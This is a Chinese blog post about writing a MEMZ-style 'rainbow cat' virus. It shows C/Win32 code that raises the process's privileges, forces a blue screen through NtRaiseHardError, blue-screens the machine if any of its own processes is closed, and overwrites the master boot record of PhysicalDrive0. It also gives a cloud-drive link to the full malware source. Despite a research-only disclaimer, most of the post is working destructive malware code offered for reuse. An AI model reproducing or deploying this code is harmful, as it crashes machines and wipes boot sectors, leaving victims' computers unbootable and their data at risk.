Loading... 资源:<span style="color:#DC143C">此病毒仅用于研究学习,禁止用于非法目的,造成破环由下载者自负。</span> 链接:https://pan.baidu.com/s/12UeaOXHWQhChTS7QLgxcew 提取码:bq0o 本次编写病毒程序,认识到了一个最简单病毒程序运行的相应步骤,从易到难从,从一个病毒编写者的角度来思想病毒需要有什么功能,需要对哪些文件、注册表操作,以及如何实现病毒程序在物理机常驻的效果。 # 流程图 ![彩虹猫.jpg](http://www.irohane.top/usr/uploads/2021/03/279382131.jpg) # 效果图 这里只对几个功能进行展示,如果有兴趣大家可以对病毒源码进行适合自己的定制。 ## 询问是否运行 ![image-20210325204348576.png](http://www.irohane.top/usr/uploads/2021/03/3457059606.png) ## 蓝屏 ![image-20210325204413628.png](http://www.irohane.top/usr/uploads/2021/03/2560399080.png) ![image-20210325210503307.png](http://www.irohane.top/usr/uploads/2021/03/3749107752.png) ## 无限打开网页 ![image-20210325205430146.png](http://www.irohane.top/usr/uploads/2021/03/3539125939.png) # 窗口反色 ![image-20210325210220239.png](http://www.irohane.top/usr/uploads/2021/03/4022016956.png) # 关键代码展示 ## 提权代码 ``` HANDLE hToken = NULL; //首先定义一个hToken的句柄 HANDLE hProcess = GetCurrentProcess(); //该函数获取该进程的伪句柄 //权限可以填入 TOKEN_ALL_ACCESS 全部权限打开 如果失败返回FALSE OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);//打开自己进程的锁,hToken 返回的是信息的结构体 //记录的信息的结构体 TOKEN_PRIVILEGES tp = { 0 }; //查看进程里面的特权信息 返回值FALSE 失败 直接在tp里放入uid 方便设置权限 LookupPrivilegeValue(0, SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//设置新的权限 //调用函数提升权限 调节进程的权限 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); ``` ## 系统宕机 系统蓝屏首先需要对当前进程的权限进行提升,之后抛出异常即可。 ``` _TOKEN_PRIVILEGES ProcToken; void (*RaiaseError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD); BOOL(*_RtlAdjustPrivilege)(HANDLE TokenHandle,BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState,DWORD BufferLength,PTOKEN_PRIVILEGES PreviousState,PDWORD ReturnLength); HMODULE hNtDll = LoadLibraryA("ntdll"); _RtlAdjustPrivilege = (BOOL(*)(HANDLE TokenHandle,BOOL DisableAllPrivileges,PTOKEN_PRIVILEGES NewState,DWORD BufferLength,PTOKEN_PRIVILEGES PreviousState,PDWORD ReturnLength))GetProcAddress(hNtDll, "RtlAdjustPrivilege"); HANDLE pToken; RaiaseError = (void (*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))GetProcAddress(hNtDll, "NtRaiseHardError"); //获取当前进程 并提升权限 HANDLE hToken = NULL; //首先定义一个hToken的句柄 HANDLE hProcess = GetCurrentProcess(); //该函数获取该进程的伪句柄 //权限可以填入 TOKEN_ALL_ACCESS 全部权限打开 如果失败返回FALSE OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);//打开自己进程的锁,hToken 返回的是信息的结构体 //记录的信息的结构体 TOKEN_PRIVILEGES tp = { 0 }; //查看进程里面的特权信息 返回值FALSE 失败 直接在tp里放入uid 方便设置权限 LookupPrivilegeValue(0, SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//设置新的权限 //调用函数提升权限 调节进程的权限 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); //蓝屏 if (_RtlAdjustPrivilege && RaiaseError) { DWORD result; //错误码 RaiaseError(0xc0000022, 0, 0, 0, 6, &result); } //关闭WIndows 退出类型 和原因 return ExitWindowsEx(6, SHTDN_REASON_MAJOR_HARDWARE); ``` ## 检测当前子进程是否减少 使用GetCurrentProcess 函数获取当前进程句柄,在使用GetProcessImageFileName获取当前进程运行的路径。之后CreateToolhelp32Snapshot创建快照来获取进行逐个比对,如果出现一个进程对于当前进程数量重新赋值,如果进程突然少了那么就证明关闭了进程就直接蓝屏处理。 ``` WCHAR FIlePath[MAXCHAR] = {0}; PROCESSENTRY32 ProNetry = {sizeof(PROCESSENTRY32)}; //获取当前进程运行路径 HANDLE hPro = GetCurrentProcess(); GetProcessImageFileName(hPro, FIlePath, sizeof(FIlePath)); while (true) { //记录正在执行进程的个数 int ProcCount = 0; //创建快照 HANDLE ProSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32First(ProSnapshot, &ProNetry)) { do { WCHAR _BufFilePath[MAXCHAR]; //获取进程ID HANDLE _BufPro = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, ProNetry.th32ProcessID); GetProcessImageFileName(_BufPro, _BufFilePath, sizeof(_BufFilePath)); //比对路径 如果成功当前进程数量+1 if (!lstrcmpW(_BufFilePath, FIlePath)) { ProcCount++; }; } while (Process32Next(ProSnapshot, &ProNetry)); }; //如果少了进程那么就直接蓝屏GG if (ProcCount < g_nProCount) { SystemGG(); } else { g_nProCount = ProcCount; } } ``` ## 覆盖MRB 并启动 恶意程序 1. 首先对当前进程的权限进行提升,以保证当前程序的权限是可以完成后续危险操作。 2. 使用CreateFile 打开本机的物理驱动器0,准备对MBR进行覆盖 1. 【这里提前将彩虹猫的MBR当作资源加入到了资源段,直接进行获取资源即可】 3. 创建线程定时打开网页 4. 创建线程完成对当前窗口的缩放。 5. 创建线程对鼠标位置随机设置。 6. 创建线程完成对部分窗口的色差调为反色。 这里只展示对MBR扇区的覆盖操作。资源将打包到百度云网盘。 ``` hDriveFile = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hDriveFile == INVALID_HANDLE_VALUE) { //如果没获取到就退出进程 ExitProcess(1); return FALSE; } //新方法 HRSRC hMBR; //找到资源 看资源名称 IDR_MBR_NEKO2/MBR_NEKO是我自己的 这里根据情况更换 hMBR = FindResource(NULL, MAKEINTRESOURCE(IDR_MBR_NEKO2), L"MBR_NEKO"); //获取资源大小 DWORD MBRSize = SizeofResource(NULL, hMBR); //将资源加载到内存 HGLOBAL hGlobal = LoadResource(NULL, hMBR); //锁定资源 防止其他程序修改 LPVOID lpvoid = LockResource(hGlobal); WriteFile(hDriveFile, (LPCVOID)lpvoid, 0x10000, &__DWBUF, 0);//拷贝到MBR ``` 最后修改:2021 年 03 月 25 日 © 允许规范转载 赞 2 如果觉得我的文章对你有用,请随意赞赏